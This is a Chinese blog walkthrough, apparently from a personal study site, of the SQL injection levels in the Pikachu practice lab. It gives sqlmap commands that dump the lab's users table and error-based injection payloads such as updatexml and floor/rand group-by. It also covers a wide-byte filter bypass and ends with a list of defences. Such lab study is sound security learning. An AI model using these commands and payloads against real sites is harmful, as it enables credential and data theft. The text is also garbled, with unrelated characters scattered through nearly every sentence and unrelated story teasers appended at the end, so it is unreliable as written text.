Pikachu靶場通關(guān)實錄-Sql Inject篇

0x01 簡介

SQL注入漏洞主要形成的原因是在數(shù)據(jù)交互中,前端的數(shù)據(jù)傳入到后臺處理時秧耗,沒有做嚴(yán)格的判斷备籽,導(dǎo)致其傳入的“數(shù)據(jù)”拼接到SQL語句中后,被當(dāng)作SQL語句的一部分執(zhí)行。 從而導(dǎo)致數(shù)據(jù)庫受損(被脫褲车猬、被刪除霉猛、甚至整個服務(wù)器權(quán)限淪陷)。


0x02 數(shù)字型注入(POST)

SQL注入的手工注入已經(jīng)在之前的DVWA靶場中做過詳細的介紹了珠闰,因此皮卡丘靶場將使用sqlmap進行通關(guān)惜浅。POST請求方法并不會將正文體現(xiàn)在URL中,因此常規(guī)測試方法應(yīng)該是使用BurpSuite進行抓包伏嗜,然后到Repeater模塊修改參數(shù)值進行注入點判斷以及payload構(gòu)造坛悉。


image.png

首先在BurpSuite中安裝CO2這個插件,然后將POST抓下來之后承绸,右鍵選擇Send To SQLMapper


image.png

點擊run
image.png

基本信息跑出來了


image.png

跑庫名
image.png

庫名為pikachu
image.png

跑表名
image.png

表名為 member裸影、httpinfo、message军熏、users 轩猩、xssblind
image.png

跑users表中的列名


image.png

列名為level、id荡澎、password均践、username
image.png

查詢username和password
image.png

image.png

OK~

0x03 字符型注入(GET)

cmd中輸入語句
sqlmap -u "http://192.168.31.86/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch
可以看到數(shù)據(jù)庫類型是MySQL,版本是大于5.6摩幔。

image.png

庫名為pikachu
image.png

cmd中輸入語句跑表名
sqlmap -u "http://192.168.31.86/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu --tables -batch
image.png

跑users表中的列名
sqlmap -u "http://192.168.31.86/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --columns --batch
image.png

跑users表中的username和password數(shù)據(jù)
sqlmap -u "http://192.168.31.86/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users -C "username,password" --dump --batch
image.png

收工~


0x04 搜索型注入

搜索型SQL注入與其他類型大同小異彤委,無非是注意是否需要%進行閉合而已。


image.png

操作步驟與關(guān)卡相同或衡。


0x05 xx型注入

這一關(guān)的關(guān)卡叫xx型注入葫慎,沒明白是什么意思∞背瑁看了下提示,是跟閉合有關(guān)的艰额。那么是時候掏出我的判斷閉合絕技了澄港。

先使用單引號觀察頁面是否報錯,再使用雙引號觀察頁面是否報錯
結(jié)合以上信息柄沮,進行判斷:
1. 如果單引號頁面報錯回梧,雙引號頁面也報錯,那么該頁面為數(shù)字型注入祖搓,無需閉合
2. 如果單引號頁面報錯狱意,雙引號頁面不報錯
    那么使用#注釋掉后面的SQL語句,如果頁面不報錯拯欧,則該頁面為單引號閉合
            如果頁面仍然報錯详囤,則在單引號后面加括號,如本關(guān)的閉合為')。如果一個括號不夠藏姐,那就再加一個隆箩,同理還需考慮花括號}和百分號%
3.如果單引號頁面不報錯,雙引號頁面報錯
    那么使用#注釋掉后面的SQL語句羔杨,如果頁面不報錯捌臊,則該頁面為雙引號閉合
            如果頁面仍然報錯,則在單引號后面加括號兜材。如果一個括號不夠理澎,那就再加一個真慢,同理還需考慮花括號}和百分號%

sqlmap直接跑一下就好了榆综,步驟跟前面的關(guān)卡一樣


image.png

0x06 insert/update注入

看到這一對關(guān)鍵詞,猜測是二次注入携冤。點了下提示卵皂,讓自己先注冊一個賬號秩铆,那確定了是二次注入,二次注入是繞過GPC的一個非常有用的注入方法灯变。
這里先注冊一個' or updatexml(1,concat(0x7e,database(),0x7e),1) or '的用戶殴玛,可以看到直接通過報錯注入的語句爆出了表名

image.png

因為前面幾關(guān)已經(jīng)知道了表名列名,這里直接構(gòu)造報錯語句注出數(shù)據(jù)就好了添祸。
'or (select 1 from (select count(*),concat((select group_concat(username,0x3a,password) from users),floor(rand(0)*2))x from information_schema.tables group by x)a) or'
image.png


0x07 delete注入

關(guān)卡界面是一個留言板滚粟,隨便輸入點內(nèi)容后抓包看看。

image.png

這里是可能存在注入的刃泌,發(fā)到repeater里試一下凡壤。
image.png

image.png

響應(yīng)包的長度是不一樣的,所以這里應(yīng)該是個注入點耙替,就不手工注入了亚侠,直接上sqlmap
sqlmap -u "http://192.168.31.86:80/06/vul/sqli/sqli_del.php?id=468" -D pikachu -T users -C "username,password" --dump --batch
image.png


0x08 http頭注入

這幾個關(guān)卡其實原理都一樣,只是在變換注入點而已俗扇。只要理解了注入產(chǎn)生的原理硝烂,過關(guān)還是很簡單的。對于我這種新手來說铜幽,在所有看起來可能與數(shù)據(jù)庫產(chǎn)生交互的地方都試一下就好滞谢。

image.png

image.png

兩個響應(yīng)包的大小不一樣,所以我感覺這里存在注入除抛,在確定下狮杨。
用and 1=1 和and 1=2 確定了該處存在SQL注入,并且使用單引號閉合到忽。
sqlmap -u "http://192.168.31.86:80/06/vul/sqli/sqli_header/sqli_header.php" --cookie "ant[uname]=admin;ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815;PHPSESSID=9h01amnpbjpmm60m17fjjkc6e3" -D pikachu -T users -C "username,password" -dump --batch --level 2
image.png


0x09 基于boolian的盲注

盲注是最適合使用工具來跑結(jié)果的橄教,因為頁面沒有直觀的回顯,所以需要一個字符一個字符的進行猜解。盲注的注入點判斷過程與之前一致颤陶,只是在進行字符的猜解時颗管,我一般是使用ASCII編碼來對字符進行編碼,這樣可以不使用單引號滓走。
sqlmap -u "http://192.168.31.86/06/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users- C "username,password" --dump --batch

image.png


0x10 基于時間的盲注

基于時間的盲注與布爾盲注原理差不多垦江,布爾盲注是頁面會返回正確與否的值,而時間盲注則是利用sleep函數(shù)來令頁面延遲返回搅方,都給了我們判斷返回結(jié)果正確與否的方式比吭。
sqlmap -u "[Get the pikachu](http://192.168.31.86/06/vul/sqli/sqli_blind_t.php?name=12&submit=%E6%9F%A5%E8%AF%A2) " -D pikachu -T users- C "username,password" --dump --batch

image.png


0x11 寬字節(jié)注入

寬字節(jié)也是繞過GPC的方式之一。在BIG5和GBK編碼中姨涡,兩個字節(jié)代表一個漢字衩藤,因此我們可以在%5c也就是/前面加上一個額外的編碼如%df,來使mysql認為我們輸入了%df%5c涛漂,從而把%5c吃掉赏表,構(gòu)造成了一個漢字。


image.png

使用了類似語句構(gòu)造payload就OK了匈仗。


0x12 總結(jié)

  • 使用預(yù)編譯語句瓢剿,使用PDO需要注意不要將變量直接拼接到PDO語句中。所有的查詢語句都使用數(shù)據(jù)庫提供的參數(shù)化查詢接口悠轩,參數(shù)化的語句使用參數(shù)而不是將用戶輸入變量嵌入到SQL語句中间狂。當(dāng)前幾乎所有的數(shù)據(jù)庫系統(tǒng)都提供了參數(shù)化SQL語句執(zhí)行接口,使用此接口可以非常有效的防止SQL注入攻擊火架。
  • 對進入數(shù)據(jù)庫的特殊字符(’”<>&*;等)進行轉(zhuǎn)義處理鉴象,或編碼轉(zhuǎn)換。
  • 確認每種數(shù)據(jù)的類型何鸡,比如數(shù)字型的數(shù)據(jù)就必須是數(shù)字纺弊,數(shù)據(jù)庫中的存儲字段必須對應(yīng)為int型。
  • 數(shù)據(jù)長度應(yīng)該嚴(yán)格規(guī)定骡男,能在一定程度上防止比較長的SQL注入語句無法正確執(zhí)行俭尖。
  • 網(wǎng)站每個數(shù)據(jù)層的編碼統(tǒng)一,建議全部使用UTF-8編碼洞翩,上下層編碼不一致有可能導(dǎo)致一些過濾模型被繞過。
  • 嚴(yán)格限制網(wǎng)站用戶的數(shù)據(jù)庫的操作權(quán)限焰望,給此用戶提供僅僅能夠滿足其工作的權(quán)限骚亿,從而最大限度的減少注入攻擊對數(shù)據(jù)庫的危害。
  • 避免網(wǎng)站顯示SQL錯誤信息熊赖,比如類型錯誤来屠、字段不匹配等,防止攻擊者利用這些錯誤信息進行一些判斷。
  • 過濾危險字符俱笛,例如:采用正則表達式匹配union捆姜、sleep、and迎膜、select泥技、load_file等關(guān)鍵字,如果匹配到則終止運行磕仅。

本文僅為個人學(xué)習(xí)時所作筆記珊豹,非標(biāo)準(zhǔn)答案,文中如有錯誤榕订,煩請各位師傅批評指正店茶。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市劫恒,隨后出現(xiàn)的幾起案子贩幻,更是在濱河造成了極大的恐慌,老刑警劉巖两嘴,帶你破解...
    沈念sama閱讀 222,252評論 6 516
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件丛楚,死亡現(xiàn)場離奇詭異,居然都是意外死亡溶诞,警方通過查閱死者的電腦和手機鸯檬,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,886評論 3 399
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來螺垢,“玉大人喧务,你說我怎么就攤上這事⊥髌裕” “怎么了功茴?”我有些...
    開封第一講書人閱讀 168,814評論 0 361
  • 文/不壞的土叔 我叫張陵,是天一觀的道長孽亲。 經(jīng)常有香客問我坎穿,道長,這世上最難降的妖魔是什么返劲? 我笑而不...
    開封第一講書人閱讀 59,869評論 1 299
  • 正文 為了忘掉前任玲昧,我火速辦了婚禮,結(jié)果婚禮上篮绿,老公的妹妹穿的比我還像新娘孵延。我一直安慰自己,他們只是感情好亲配,可當(dāng)我...
    茶點故事閱讀 68,888評論 6 398
  • 文/花漫 我一把揭開白布尘应。 她就那樣靜靜地躺著惶凝,像睡著了一般。 火紅的嫁衣襯著肌膚如雪犬钢。 梳的紋絲不亂的頭發(fā)上苍鲜,一...
    開封第一講書人閱讀 52,475評論 1 312
  • 那天,我揣著相機與錄音玷犹,去河邊找鬼混滔。 笑死,一個胖子當(dāng)著我的面吹牛箱舞,可吹牛的內(nèi)容都是我干的遍坟。 我是一名探鬼主播,決...
    沈念sama閱讀 41,010評論 3 422
  • 文/蒼蘭香墨 我猛地睜開眼晴股,長吁一口氣:“原來是場噩夢啊……” “哼愿伴!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起电湘,我...
    開封第一講書人閱讀 39,924評論 0 277
  • 序言:老撾萬榮一對情侶失蹤隔节,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后寂呛,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體怎诫,經(jīng)...
    沈念sama閱讀 46,469評論 1 319
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 38,552評論 3 342
  • 正文 我和宋清朗相戀三年贷痪,在試婚紗的時候發(fā)現(xiàn)自己被綠了幻妓。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 40,680評論 1 353
  • 序言:一個原本活蹦亂跳的男人離奇死亡劫拢,死狀恐怖肉津,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情舱沧,我是刑警寧澤妹沙,帶...
    沈念sama閱讀 36,362評論 5 351
  • 正文 年R本政府宣布,位于F島的核電站熟吏,受9級特大地震影響距糖,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜牵寺,卻給世界環(huán)境...
    茶點故事閱讀 42,037評論 3 335
  • 文/蒙蒙 一悍引、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧帽氓,春花似錦吗铐、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,519評論 0 25
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至奋渔,卻和暖如春镊逝,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背嫉鲸。 一陣腳步聲響...
    開封第一講書人閱讀 33,621評論 1 274
  • 我被黑心中介騙來泰國打工撑蒜, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人玄渗。 一個月前我還...
    沈念sama閱讀 49,099評論 3 378
  • 正文 我出身青樓座菠,卻偏偏與公主長得像,于是被迫代替她去往敵國和親藤树。 傳聞我的和親對象是個殘疾皇子浴滴,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 45,691評論 2 361

推薦閱讀更多精彩內(nèi)容

  • 0x01 盲注簡介 并不是所有頁面都有回顯,有的時候頁面只會顯示正確與否岁钓,我們就可以利用頁面正確與錯誤來進行布爾盲...
    Asson閱讀 358評論 0 1
  • 一升略、sql注入原理 SQL 注入就是指 web 應(yīng)用程序?qū)τ脩糨斎氲臄?shù)據(jù)合法性沒有過濾或者是判斷,前端傳入的參數(shù)是...
    卿酌南燭_b805閱讀 4,154評論 0 2
  • 0x01 簡介 SQL注入是比較常見的網(wǎng)絡(luò)攻擊方式之一屡限,它不是利用操作系統(tǒng)的BUG來實現(xiàn)攻擊品嚣,而是針對程序員編寫時...
    Asson閱讀 1,210評論 0 0
  • sqli-labs通關(guān)Less 1-4 實驗工具:phpstudy pro, Firefox MySQL5.7.2...
    摳腳大仙805105閱讀 412評論 0 0
  • 表情是什么钧大,我認為表情就是表現(xiàn)出來的情緒翰撑。表情可以傳達很多信息。高興了當(dāng)然就笑了啊央,難過就哭了眶诈。兩者是相互影響密不可...
    Persistenc_6aea閱讀 125,352評論 2 7